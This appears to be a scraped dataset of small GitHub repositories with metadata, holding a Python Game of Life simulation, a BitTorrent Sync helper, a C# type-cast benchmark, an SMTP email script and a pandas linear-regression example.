_logs.pop()\n\n\ndef print_advice():\n \"\"\"Print where to find the full log if necessary\"\"\"\n\n if sys.stderr not in _logs:\n print(advice_message(), file=sys.stderr)\n\n\ndef log(msg, *argv, **kargs):\n \"\"\"Print to logs a formatted message\"\"\"\n\n who = kargs[\"who\"] if \"who\" in kargs else _get_caller()\n who = f\"[{who}] \"\n textf = who + _strip_ansi(msg.format(*argv))\n texts = bold(who) + msg.format(*argv)\n for f in _logs:\n if f is sys.stderr:\n print(texts, file=f)\n sys.stderr.flush()\n else:\n print(textf, file=f)\n" } ]
14
prozoroff/files
https://github.com/prozoroff/files
fd9571f106b01348df4fa1778bea7219ca540dd8
d22d590eb3bdc725a0399bc8df5e3570ac101f4d
a223afbc2c88ae1033f24908b1390c7bf6dbf372
refs/heads/master
2016-09-06T11:09:30.464361
2014-06-22T10:58:54
2014-06-22T10:58:54
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5434944033622742, "alphanum_fraction": 0.5524163842201233, "avg_line_length": 29.56818199157715, "blob_id": "6689823b8e124823f04923a49f153f9356b5af5d", "content_id": "e00afec8c832768223ead26dadc1bd819717dc60", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1345, "license_type": "no_license", "max_line_length": 104, "num_lines": 44, "path": "/btsynchelper.py", "repo_name": "prozoroff/files", "src_encoding": "UTF-8", "text": "import time\nimport threading\nimport os\nimport pwd\nimport grp\nfrom client import Client\n\nclass BtsyncHelper:\n\n global client\n client = Client(host='127.0.0.1', port='8888', username='admin', password='******')\n\n def get_folders(self):\n return client.sync_folders\n\n def check_folder(self, folder_path):\n for f in self.get_folders():\n if f['name'] == folder_path:\n return True\n return False\n\n def create_folder(self, path):\n secret = client.generate_secret()\n return self.add_folder(path, secret['secret'])\n\n def add_folder(self, path, secret):\n if not os.path.exists(path):\n os.makedirs(path)\n\n if self.check_folder(path) == True:\n return 'Folder: ' + str(path) + ' already synchronized'\n\n uid = pwd.getpwnam('root').pw_uid\n os.chown(path, uid, -1)\n\n print 'Trying to open directory: ' + path\n client.add_sync_folder(path, secret)\n\n file = open(path + '/readme', 'a')\n file.write('This file automatically created for testing synchronization by BitTorrent Sync')\n file.close()\n os.chown(path + '/readme', uid, -1)\n\n return str(path) + \" created! Secret: \" + secret\n" }, { "alpha_fraction": 0.5399556159973145, "alphanum_fraction": 0.5582686066627502, "avg_line_length": 17.77083396911621, "blob_id": "469e2acc911d396acee2717180d82e482bc8cdbf", "content_id": "8b340e24de7bf225825ff15806e1025833fb5da4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C#", "length_bytes": 1802, "license_type": "no_license", "max_line_length": 90, "num_lines": 96, "path": "/TypeCastTest.cs", "repo_name": "prozoroff/files", "src_encoding": "UTF-8", "text": "using System;\nusing System.Collections.Generic;\nusing System.Diagnostics;\nusing System.Linq;\nusing System.Text;\n\nnamespace TypeCastTest\n{\n\tclass Program\n\t{\n\t\tstatic long[] result = new long[]{0,0,0};\n\t\tstatic Action[] methods = new Action[]{ VirtualCallTest, AsCastTest, ExplicitCastTest };\n\n\t\tstatic int iterCount = 100000;\n\t\tstatic int measureCount = 1000;\n\n\t\tstatic void Main(string[] args)\n\t\t{\n\t\t\tfor (int i = 0; i < measureCount; i++) \n\t\t\t{\n\t\t\t\tfor (int m = 0; m < 3; m++) \n\t\t\t\t{\n\t\t\t\t\tresult [m] += measureTicks (methods [m]);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tConsole.WriteLine (\"Virtual Call: \" + ((long)(result [0] / measureCount)).ToString ());\n\t\t\tConsole.WriteLine (\"'As' method: \" + ((long)(result [1] / measureCount)).ToString ());\n\t\t\tConsole.WriteLine (\"'()' method: \" + ((long)(result [2] / measureCount)).ToString ());\n\t\t\tConsole.ReadKey ();\n\n\t\t}\n\n\t\tstatic long measureTicks(Action method)\n\t\t{\n\t\t\tvar stopwatch = new Stopwatch();\n\t\t\tstopwatch.Start();\n\t\t\tmethod.Invoke();\n\t\t\tstopwatch.Stop();\n\t\t\treturn stopwatch.ElapsedTicks;\n\t\t}\n\t\t\t\n\t\tstatic A a = new B();\n\t\tstatic A b = new B();\n\n\t\tstatic void VirtualCallTest()\n\t\t{\n\t\t\tfor (int i = 0; i < iterCount; i++)\n\t\t\t\tb = a.GetB();\n\t\t}\n\n\t\tstatic void AsCastTest()\n\t\t{\n\t\t\tfor (int i = 0; i < iterCount; i++)\n\t\t\t\tb = a as B;\n\t\t}\n\n\t\tstatic void ExplicitCastTest()\n\t\t{\n\t\t\tfor (int i = 0; i < iterCount; i++)\n\t\t\t\tb = (B)a;\n\t\t}\n\n\t\tclass A\n\t\t{\n\t\t\tprotected int _i;\n\n\t\t\tpublic virtual B GetB() { return null; }\n\t\t}\n\n\t\tclass B : A\n\t\t{\n\t\t\tpublic B()\n\t\t\t{\n\t\t\t\t_a = new int[] { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 };\n\t\t\t\t_s = \"some test string\";\n\t\t\t\t_t = DateTime.Now;\n\t\t\t\t_i = 0;\n\t\t\t}\n\n\t\t\tpublic B(B b)\n\t\t\t{\n\t\t\t\t_a = b._a;\n\t\t\t\t_s = b._s;\n\t\t\t\t_i = b._i;\n\t\t\t\t_t = b._t;\n\t\t\t}\n\n\t\t\tpublic int[] _a;\n\t\t\tstring _s;\n\t\t\tDateTime _t;\n\n\t\t\tpublic override B GetB() { return this; }\n\t\t}\n\t}\n}\n" }, { "alpha_fraction": 0.6451612710952759, "alphanum_fraction": 0.6451612710952759, "avg_line_length": 6.75, "blob_id": "68cc33ca37f5e5239ad2c99e759979c293d0d260", "content_id": "c47d87a02b65ad0cbe865eb4e72c61a0b461e51f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 31, "license_type": "no_license", "max_line_length": 17, "num_lines": 4, "path": "/README.md", "repo_name": "prozoroff/files", "src_encoding": "UTF-8", "text": "files\n=====\n\nany code examples\n" } ]
3
CaptainCodex/relevancy-ranker
https://github.com/CaptainCodex/relevancy-ranker
70742cbf424180d4ecf452734eda427f40fce3e2
49b9d7d643af0ef3910d477903f373ff4e24df74
cfc49eaf63e5ae6e866ed74231488f3f7bc38a1f
refs/heads/master
2020-04-17T14:59:04.788134
2019-02-20T02:46:45
2019-02-20T02:46:45
166,680,438
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8213716149330139, "alphanum_fraction": 0.8213716149330139, "avg_line_length": 68.66666412353516, "blob_id": "8fc1eef147516f70235d6da9864b8513f19e89b9", "content_id": "31ff0c3d0ed970e1758f19e1de509283466b43be", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 627, "license_type": "no_license", "max_line_length": 219, "num_lines": 9, "path": "/README.md", "repo_name": "CaptainCodex/relevancy-ranker", "src_encoding": "UTF-8", "text": "# Relevancy Ranker\n\nUses Machine Learning API SKLearn and Pandas to rank relevancy between data columns. Linear regression determines the coefficients between columns to indicate the amount of impact columns have in relation to each other.\n\nEver wondered who the ideal demographic for your online store are? Or what helps students best achieve higher test scores?\n\nLinear regression will measure data provided by a CSV or Excel file to find correlations between factors in data to find out what most affects the bottom line.\n\nA powerful asset for businesses, analysts and anything that can be logged as numbers and categories.\n" }, { "alpha_fraction": 0.7501994967460632, "alphanum_fraction": 0.7541899681091309, "avg_line_length": 25.680850982666016, "blob_id": "f8acaf8f1fb818f5f1559ad297ea0a429d57fc89", "content_id": "abd98bc5f09a908b1edc493808befc507f3dceab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1253, "license_type": "no_license", "max_line_length": 90, "num_lines": 47, "path": "/RelevancyRanker.py", "repo_name": "CaptainCodex/relevancy-ranker", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom IPython.display import display\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn import metrics\n\ncustomers = pd.read_csv('StudentsPerformance.csv')\n\ndisplay(customers.head())\ncustomers.head()\ncustomers.info()\ndisplay(customers.describe())\n\nsns.jointplot('reading score', 'writing score', data=customers)\nsns.pairplot(customers)\nsns.lmplot('reading score', 'writing score', data=customers)\n\nX = customers[['writing score', 'reading score', 'math score']] \ny = customers[['math score']]\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=101)\n\nlm = LinearRegression()\n\nlm.fit(X_train, y_train)\n\nprint(lm.coef_)\n\npredictions = lm.predict(X_test)\n\nplt.scatter(y_test, predictions)\nplt.xlabel('Y Test')\nplt.ylabel('Predicted Y')\n\nmae = metrics.mean_absolute_error(y_test, predictions)\nmse = metrics.mean_squared_error(y_test, predictions)\nrmse = np.sqrt(metrics.mean_squared_error(y_test, predictions))\n\nprint(mae, mse, rmse)\n\ncoeffs = pd.DataFrame(data=lm.coef_.transpose(), index=X.columns, columns=['Coefficient'])\ncoeffs.plot()\ndisplay(coeffs)\nplt.show()" } ]
2
ningzy/alex_misc
https://github.com/ningzy/alex_misc
fde62a53b2a201c5a9c175292f280ef428a4b9ab
3602cfec826e29b656d3d976371167437947008a
efbed332c1bd11a5ad1b4a53a6e1524746fc0eb7
refs/heads/master
2020-03-26T20:45:27.978174
2018-08-20T00:07:22
2018-08-20T00:07:22
145,343,854
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6138613820075989, "alphanum_fraction": 0.6138613820075989, "avg_line_length": 12.714285850524902, "blob_id": "5135b7348e24a382779275644a1629257f920811", "content_id": "816c7dbd0d12559978351b7b11363af6d9f7e28d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 101, "license_type": "no_license", "max_line_length": 27, "num_lines": 7, "path": "/filesaveas.py", "repo_name": "ningzy/alex_misc", "src_encoding": "UTF-8", "text": "import os\r\nfrom shutil import copyfile\r\n\r\nif os.path.exists(''):\r\n os.remove('')\r\n\r\ncopyfile('', )" }, { "alpha_fraction": 0.7560975551605225, "alphanum_fraction": 0.7560975551605225, "avg_line_length": 40, "blob_id": "cf438f1a4ec09f46fd3a3769052ddd4a957e6226", "content_id": "c183d049a3ff0b51552a0092654abd98dd6291b4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 41, "license_type": "no_license", "max_line_length": 40, "num_lines": 1, "path": "/README.md", "repo_name": "ningzy/alex_misc", "src_encoding": "UTF-8", "text": "# alex_misc, misc files for alex project\n" }, { "alpha_fraction": 0.568932056427002, "alphanum_fraction": 0.5747572779655457, "avg_line_length": 21.5, "blob_id": "42cee511588795def07960b8f720afc027d5327b", "content_id": "c7c0f7fc2d2f23036014e5884fa549f9eb0a8a54", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 515, "license_type": "no_license", "max_line_length": 91, "num_lines": 22, "path": "/sendemail.py", "repo_name": "ningzy/alex_misc", "src_encoding": "UTF-8", "text": "import smtplib\r\nimport getpass\r\n\r\nFROM = 'zning'\r\nTO = 'airportico@gmail.com'\r\nSUBJECT = 'test'\r\nTEXT = 'testtttt'\r\n\r\nmessage = \"\"\" from: %s\\nto: %s\\nsubject: %s\\n\\n%s\"\"\" % (FROM, \", \".join(TO), SUBJECT, TEXT)\r\n\r\ntry:\r\n server = smtplib.SMTP('smtp.gmail.com', 587)\r\n server.ehlo()\r\n server.starttls()\r\n user = input(\"User name: \")\r\n pwd = getpass.getpass('Password: ')\r\n server.login(user, pwd)\r\n server.sendmail(FROM, TO, message)\r\n server.close()\r\n print(\"email sent...\")\r\nexcept:\r\n print(\"failed...\")" } ]
3
AmosGarner/PyLife
https://github.com/AmosGarner/PyLife
08c8d4d158f19409ddfa9d9d45a411bb4667d5bb
dd6daa1bfd861e40c0c26ed918e2620455a8e1cf
38595f48f6baa4054bc28188ccf4c05fc0ac77e6
refs/heads/master
2021-01-19T22:15:15.669162
2018-02-28T16:05:07
2018-02-28T16:05:07
88,781,983
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5764941573143005, "alphanum_fraction": 0.5913640260696411, "avg_line_length": 35.81052780151367, "blob_id": "5e9a7d655cdf1feec8f6641d1e7ee9f125ef8db4", "content_id": "683277ed6cc4cde3adcbbefbc12c8ffea6784950", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3497, "license_type": "permissive", "max_line_length": 131, "num_lines": 95, "path": "/pylife.py", "repo_name": "AmosGarner/PyLife", "src_encoding": "UTF-8", "text": "import sys, argparse\nimport numpy as np\nimport matplotlib.pyplot as plot\nimport matplotlib.animation as animation\n\nfrom helper import *\nfrom displayTextSpawner import displayText\nfrom inputValidator import validateInput\n\npaused = True\niteration = 0\n\ndef update(frameNumber, image, grid, gridSize):\n newGrid = grid.copy()\n global paused\n global iteration\n\n if paused is True and iteration > 0:\n value = raw_input('Press any [Key] to start simulation:')\n image.set_data(newGrid)\n grid[:] = newGrid[:]\n paused = False\n else:\n for index in range(gridSize):\n for subIndex in range(gridSize):\n total = int((grid[index, (subIndex-1)%gridSize] + grid[index, (subIndex+1)%gridSize] +\n grid[(index-1)%gridSize, subIndex] + grid[(index+1)%gridSize, subIndex] +\n grid[(index-1)%gridSize, (subIndex-1)%gridSize] + grid[(index-1)%gridSize, (subIndex+1)%gridSize] +\n grid[(index+1)%gridSize, (subIndex-1)%gridSize] + grid[(index+1)%gridSize, (subIndex+1)%gridSize])/ON)\n if iteration > 0:\n if grid[index, subIndex] == ON:\n if (total < 2) or (total > 3):\n newGrid[index, subIndex] = OFF\n else:\n if total == 3:\n newGrid[index, subIndex] = ON\n image.set_data(newGrid)\n grid[:] = newGrid[:]\n iteration += 1\n\n return image\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Runs Conway's Game of Life simulation.\")\n parser.add_argument('--grid-size', dest='gridSize', required=False)\n parser.add_argument('--mov-file', dest='movfile', required=False)\n parser.add_argument('--interval', dest='interval', required=False)\n parser.add_argument('--glider', dest='glider', required=False)\n parser.add_argument('--gosper', dest='gosper', required=False)\n parser.add_argument('--display', dest='displayText', required=False)\n args = parser.parse_args()\n\n gridSize = 100\n if args.gridSize and int(args.gridSize) > 8:\n gridSize = int(args.gridSize)\n\n updateInterval = 50\n if args.interval:\n updateInterval = int(args.interval)\n\n grid = np.array([])\n\n if args.glider:\n grid = np.zeros(gridSize*gridSize).reshape(gridSize, gridSize)\n addGlider(1, 1, grid)\n elif args.gosper:\n grid = np.zeros(gridSize*gridSize).reshape(gridSize, gridSize)\n addGosperGliderGun(10, 10, grid)\n elif args.displayText and validateInput(args.displayText):\n if args.displayText == 'alphanumspec':\n grid = displayText('abcdefghijklmnopqrstuvwxyz_0123456789_', gridSize)\n elif args.displayText == 'david':\n grid = displayText('happy_birthday___david!!!!', gridSize)\n else:\n grid = displayText(args.displayText, gridSize)\n else:\n grid = randomGrid(gridSize)\n\n fig, ax = plot.subplots()\n img = ax.imshow(grid, interpolation='nearest')\n\n plot.title(\"PyLife V1.0\")\n\n ani = animation.FuncAnimation(fig, update, fargs=(img, grid, gridSize),\n frames = 10,\n interval=updateInterval,\n save_count=50)\n\n if args.movfile:\n ani.save(args.movfile, fps=30, extra_args=['-vcodec', 'libx264'])\n\n plot.show()\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.7263389825820923, "alphanum_fraction": 0.7373440861701965, "avg_line_length": 44.43333435058594, "blob_id": "00bfb77eb04d3fa2100d5b20a153f15cd8695dc4", "content_id": "47126946a7151cdf3a94820e448636fb5b91ed9a", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1363, "license_type": "permissive", "max_line_length": 179, "num_lines": 30, "path": "/README.md", "repo_name": "AmosGarner/PyLife", "src_encoding": "UTF-8", "text": "# PyLife\nConway's game of life written in Python as a birthday present for a colleague. Capable of rendering random populations or populations made from text passed in as a parameter.\n\n## Project Info:\n* Name: PyLife\n* Version: 1.0\n* Author: Amos Garner\n\n## Install Commands:\nClone project repository into project directory:\n```git clone git@github.com:AmosGarner/PyLife.git```\n\n## How to run:\n``` python pylife.py [--param] [paramValue]```\n\nEX: ```python pylife.py --display alphanumspec --grid-size 135 --interval 100```\n\nWhen you run the program the program window will pop up with the starting data projected on the screen followed by a request for a key press in your console to run the simulation.\n\nTo exit the program either press your OS's close program button or kill the process using the CLI.\n\n## Parameters:\n* ```--grid-size```: Changes the area of the simulation (default: 100)\n* ```--display```: Displays a string of text passed in as a parameter value\n * ```--display alphanumspec```: will generate a plot of all the character currently mapped in the system\n* ```--interval```: The speed at which the animation updates (default: 50 Milliseconds)\n* all parameters are optional and the program can be run just by using: ```python pylife.py```\n\n### Outside Resources:\n* Wiki page for Conway's Game: https://en.wikipedia.org/wiki/Conway%27s_Game_of_Life\n" }, { "alpha_fraction": 0.6850393414497375, "alphanum_fraction": 0.6850393414497375, "avg_line_length": 22.8125, "blob_id": "32b7dca0bcd5b9ee29e572ea9465242cade71cb3", "content_id": "5c3321a367b92feb5a304b0a524c11c820447a95", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 381, "license_type": "permissive", "max_line_length": 52, "num_lines": 16, "path": "/inputValidator.py", "repo_name": "AmosGarner/PyLife", "src_encoding": "UTF-8", "text": "from alphaNumLib import *\n\nalphaNumArray = alphaArray + numArray + specialArray\n\ndef validateInput(input):\n if(checkInAlphaNumSpec(input)):\n return True\n else:\n return False\n\ndef checkInAlphaNumSpec(input):\n inputCharArray = list(input.lower())\n for value in inputCharArray:\n if value not in alphaNumArray:\n return False\n return True\n" }, { "alpha_fraction": 0.28482913970947266, "alphanum_fraction": 0.2873638868331909, "avg_line_length": 38.74626922607422, "blob_id": "911a782ba42906aa6f77bfd03e2487025d1b3364", "content_id": "f3d4eb55eb6be8a8d71eef6c98b8642a844a1147", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10652, "license_type": "permissive", "max_line_length": 66, "num_lines": 268, "path": "/displayTextSpawner.py", "repo_name": "AmosGarner/PyLife", "src_encoding": "UTF-8", "text": "import numpy as np\n\nON = 255\nOFF = 0\nvals = [ON, OFF]\n\ndef displayText(input, gridSize):\n grid = generateBlankGroup(gridSize)\n index = 1\n x = gridSize / 2\n for value in list(input):\n print(5 * index)\n print(gridSize)\n if 5*index >= gridSize:\n index = 1\n x = gridSize/2 + 6\n\n grid = spawnValue(value, x, 5 * index, grid)\n index += 1\n return grid\n\ndef spawnValue(char, row, col, grid):\n if(char == 'a'):\n value = np.array([[OFF, ON, ON, OFF],\n [ON, OFF, OFF, ON],\n [ON, ON, ON, ON],\n [ON, OFF, OFF, ON],\n [ON, OFF, OFF, ON],])\n if(char == 'b'):\n value = np.array([[ON, ON, ON, OFF],\n [ON, OFF, OFF, ON],\n [ON, ON, ON, ON],\n [ON, OFF, OFF, ON],\n [ON, ON, ON, OFF],])\n if(char == 'c'):\n value = np.array([[ON, ON, ON, ON],\n [ON, OFF, OFF, OFF],\n [ON, OFF, OFF, OFF],\n [ON, OFF, OFF, OFF],\n [ON, ON, ON, ON],])\n if(char == 'd'):\n value = np.array([[ON, ON, ON, OFF],\n [ON, OFF, OFF, ON],\n [ON, OFF, OFF, ON],\n [ON, OFF, OFF, ON],\n [ON, ON, ON, OFF],])\n if(char == 'e'):\n value = np.array([[ON, ON, ON, ON],\n [ON, OFF, OFF, OFF],\n [ON, ON, ON, OFF],\n [ON, OFF, OFF, OFF],\n [ON, ON, ON, ON],])\n if(char == 'f'):\n value = np.array([[ON, ON, ON, ON],\n [ON, OFF, OFF, OFF],\n [ON, ON, ON, OFF],\n [ON, OFF, OFF, OFF],\n [ON, ON, ON, ON],])\n if(char == 'g'):\n value = np.array([[ON, ON, ON, ON],\n [ON, OFF, OFF, OFF],\n [ON, OFF, ON, ON],\n [ON, OFF, OFF, ON],\n [ON, ON, ON, ON],])\n if(char == 'h'):\n value = np.array([[ON, OFF, OFF, ON],\n [ON, OFF, OFF, ON],\n [ON, ON, ON, ON],\n [ON, OFF, OFF, ON],\n [ON, OFF, OFF, ON],])\n if(char == 'i'):\n value = np.array([[ON, ON, ON, ON],\n [OFF, ON, ON, OFF],\n [OFF, ON, ON, OFF],\n [OFF, ON, ON, OFF],\n [ON, ON, ON, ON],])\n if(char == 'j'):\n value = np.array([[OFF, ON, ON, ON],\n [OFF, OFF, ON, ON],\n [ON, OFF, OFF, ON],\n [ON, OFF, OFF, ON],\n [ON, ON, ON, ON],])\n if(char == 'k'):\n value = np.array([[ON, OFF, OFF, ON],\n [ON, OFF, ON, OFF],\n [ON, ON, OFF, OFF],\n [ON, OFF, ON, OFF],\n [ON, OFF, OFF, ON],])\n if(char == 'l'):\n value = np.array([[ON, ON, OFF, OFF],\n [ON, OFF, OFF, OFF],\n [ON, OFF, OFF, OFF],\n [ON, OFF, OFF, ON],\n [ON, ON, ON, ON],])\n if(char == 'm'):\n value = np.array([[ON, ON, ON, ON],\n [ON, ON, ON, ON],\n [ON, OFF, ON, ON],\n [ON, OFF, OFF, ON],\n [ON, OFF, OFF, ON],])\n if(char == 'n'):\n value = np.array([[ON, ON, OFF, ON],\n [ON, ON, OFF, ON],\n [ON, OFF, ON, ON],\n [ON, OFF, ON, ON],\n [ON, OFF, OFF, ON],])\n if(char == 'o'):\n value = np.array([[ON, ON, ON, ON],\n [ON, OFF, OFF, ON],\n [ON, OFF, OFF, ON],\n [ON, OFF, OFF, ON],\n [ON, ON, ON, ON],])\n if(char == 'p'):\n value = np.array([[ON, ON, ON, ON],\n [ON, OFF, OFF, ON],\n [ON, ON, ON, ON],\n [ON, OFF, OFF, OFF],\n [ON, OFF, OFF, OFF],])\n if(char == 'q'):\n value = np.array([[ON, ON, ON, ON],\n [ON, OFF, OFF, ON],\n [ON, OFF, OFF, ON],\n [ON, OFF, ON, ON],\n [ON, ON, ON, ON],])\n if(char == 'r'):\n value = np.array([[ON, ON, ON, ON],\n [ON, OFF, OFF, ON],\n [ON, ON, ON, OFF],\n [ON, OFF, ON, OFF],\n [ON, OFF, OFF, ON],])\n if(char == 's'):\n value = np.array([[OFF, ON, ON, ON],\n [ON, OFF, OFF, OFF],\n [ON, ON, ON, OFF],\n [OFF, OFF, OFF, ON],\n [ON, ON, ON, OFF],])\n if(char == 't'):\n value = np.array([[ON, ON, ON, ON],\n [ON, ON, ON, ON],\n [OFF, OFF, ON, OFF],\n [OFF, ON, ON, OFF],\n [OFF, ON, ON, OFF],])\n if(char == 'u'):\n value = np.array([[ON, OFF, OFF, ON],\n [ON, OFF, OFF, ON],\n [ON, OFF, OFF, ON],\n [ON, OFF, ON, ON],\n [ON, ON, ON, ON],])\n if(char == 'v'):\n value = np.array([[ON, OFF, OFF, ON],\n [ON, OFF, OFF, ON],\n [ON, OFF, OFF, ON],\n [ON, OFF, OFF, ON],\n [OFF, ON, ON, OFF],])\n if(char == 'w'):\n value = np.array([[ON, OFF, OFF, ON],\n [ON, OFF, OFF, ON],\n [ON, ON, OFF, ON],\n [ON, ON, ON, ON],\n [ON, ON, OFF, ON],])\n if(char == 'x'):\n value = np.array([[ON, OFF, OFF, ON],\n [ON, OFF, OFF, ON],\n [OFF, ON, ON, OFF],\n [ON, OFF, OFF, ON],\n [ON, OFF, OFF, ON],])\n if(char == 'y'):\n value = np.array([[ON, OFF, OFF, ON],\n [ON, OFF, OFF, ON],\n [OFF, ON, ON, OFF],\n [OFF, ON, OFF, OFF],\n [OFF, ON, OFF, OFF],])\n if(char == 'z'):\n value = np.array([[ON, ON, ON, ON],\n [OFF, OFF, ON, OFF],\n [OFF, ON, OFF, OFF],\n [ON, OFF, OFF, OFF],\n [ON, ON, ON, ON],])\n if(char == '0'):\n value = np.array([[ON, ON, ON, ON],\n [ON, ON, OFF, ON],\n [ON, ON, OFF, ON],\n [ON, OFF, ON, ON],\n [ON, ON, ON, ON],])\n if(char == '1'):\n value = np.array([[OFF, ON, ON, OFF],\n [ON, ON, ON, OFF],\n [OFF, ON, ON, OFF],\n [OFF, ON, ON, OFF],\n [OFF, ON, ON, OFF],])\n if(char == '2'):\n value = np.array([[ON, ON, ON, ON],\n [OFF, OFF, OFF, ON],\n [ON, ON, ON, ON],\n [ON, OFF, OFF, OFF],\n [ON, ON, ON, ON],])\n if(char == '3'):\n value = np.array([[ON, ON, ON, ON],\n [OFF, OFF, OFF, ON],\n [OFF, ON, ON, ON],\n [OFF, OFF, OFF, ON],\n [ON, ON, ON, ON],])\n if(char == '4'):\n value = np.array([[ON, OFF, OFF, ON],\n [ON, OFF, OFF, ON],\n [ON, ON, ON, ON],\n [OFF, OFF, OFF, ON],\n [OFF, OFF, OFF, ON],])\n if(char == '5'):\n value = np.array([[ON, ON, ON, ON],\n [ON, OFF, OFF, OFF],\n [ON, ON, ON, OFF],\n [OFF, OFF, OFF, ON],\n [ON, ON, ON, OFF],])\n if(char == '6'):\n value = np.array([[ON, ON, OFF, OFF],\n [ON, OFF, OFF, OFF],\n [ON, ON, ON, OFF],\n [ON, OFF, OFF, ON],\n [ON, ON, ON, OFF],])\n if(char == '7'):\n value = np.array([[ON, ON, ON, ON],\n [OFF, OFF, OFF, ON],\n [OFF, ON, ON, OFF],\n [OFF, ON, OFF, OFF],\n [OFF, ON, OFF, OFF],])\n if(char == '8'):\n value = np.array([[ON, ON, ON, ON],\n [ON, OFF, OFF, ON],\n [ON, ON, ON, ON],\n [ON, OFF, OFF, ON],\n [ON, ON, ON, ON],])\n if(char == '9'):\n value = np.array([[ON, ON, ON, ON],\n [ON, OFF, OFF, ON],\n [ON, ON, ON, ON],\n [ON, ON, OFF, OFF],\n [ON, ON, OFF, OFF],])\n if(char == '_'):\n value = np.array([[OFF, OFF, OFF, OFF],\n [OFF, OFF, OFF, OFF],\n [OFF, OFF, OFF, OFF],\n [OFF, OFF, OFF, OFF],\n [OFF, OFF, OFF, OFF],])\n if(char == '!'):\n value = np.array([[OFF, ON, ON, OFF],\n [OFF, ON, ON, OFF],\n [OFF, ON, ON, OFF],\n [OFF, OFF, OFF, OFF],\n [OFF, ON, ON, OFF],])\n if(char == '?'):\n value = np.array([[OFF, ON, ON, OFF],\n [ON, OFF, OFF, ON],\n [OFF, OFF, ON, OFF],\n [OFF, OFF, OFF, OFF],\n [OFF, OFF, ON, OFF],])\n if(char == '.'):\n value = np.array([[OFF, OFF, OFF, OFF],\n [OFF, OFF, OFF, OFF],\n [OFF, OFF, OFF, OFF],\n [OFF, ON, ON, OFF],\n [OFF, ON, ON, OFF],])\n\n grid[row-2:row+3, col-2:col+2] = value\n return grid\n\ndef generateBlankGroup(gridSize):\n return np.zeros(gridSize*gridSize).reshape(gridSize, gridSize)\n" }, { "alpha_fraction": 0.4058721959590912, "alphanum_fraction": 0.5146805047988892, "avg_line_length": 25.930233001708984, "blob_id": "e502ca04002cd851edba3b57f1498c61130c7a60", "content_id": "0238226d96343ac425423f0002362a4fe929cb7b", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1158, "license_type": "permissive", "max_line_length": 94, "num_lines": 43, "path": "/helper.py", "repo_name": "AmosGarner/PyLife", "src_encoding": "UTF-8", "text": "import numpy as np\nimport matplotlib.pyplot as plot\nimport matplotlib.animation as animation\n\nON = 255\nOFF = 0\nvals = [ON, OFF]\n\ndef randomGrid(gridSize):\n return np.random.choice(vals, gridSize*gridSize, p=[0.2, 0.8]).reshape(gridSize, gridSize)\n\ndef addGlider(row, col, grid):\n glider = np.array([[OFF, OFF, ON],\n [ON, OFF, ON],\n [OFF, OFF, OFF]])\n grid[row:row+3, col:col+3] = glider\n\ndef addGosperGliderGun(row, col, grid):\n gun = np.zeros(11*38).reshape(11, 38)\n\n gun[5][1] = gun[5][2] = ON\n gun[6][1] = gun[6][2] = ON\n\n gun[3][13] = gun[3][14] = ON\n gun[4][12] = gun[4][16] = ON\n gun[5][11] = gun[5][17] = ON\n gun[6][11] = gun[6][15] = gun[6][17] = gun[6][18] = ON\n gun[7][11] = gun[7][17] = ON\n gun[8][12] = gun[8][16] = ON\n gun[9][13] = gun[9][14] = ON\n\n gun[1][25] = ON\n gun[2][23] = gun[2][25] = ON\n gun[3][21] = gun[3][22] = ON\n gun[4][21] = gun[4][22] = ON\n gun[5][21] = gun[5][22] = ON\n gun[6][23] = gun[6][25] = ON\n gun[7][25] = ON\n\n gun[3][35] = gun[3][36] = ON\n gun[4][35] = gun[4][36] = ON\n\n grid[row:row+11, col:col+38] = gun\n" } ]
5
AlenaPliusnina/Flask_API
https://github.com/AlenaPliusnina/Flask_API
a6d9c63e7a12312b3b66194a77b47083598a3b37
351a553d6c84069d34e539f4f7c00e2c566a1695
f945f5e70b7cfa12d27f65ca66015e6d8ef3f6f5
refs/heads/main
2023-03-11T12:40:10.407811
2021-03-04T07:14:12
2021-03-04T07:14:12
343,105,058
0
0
null
null
null
null
null
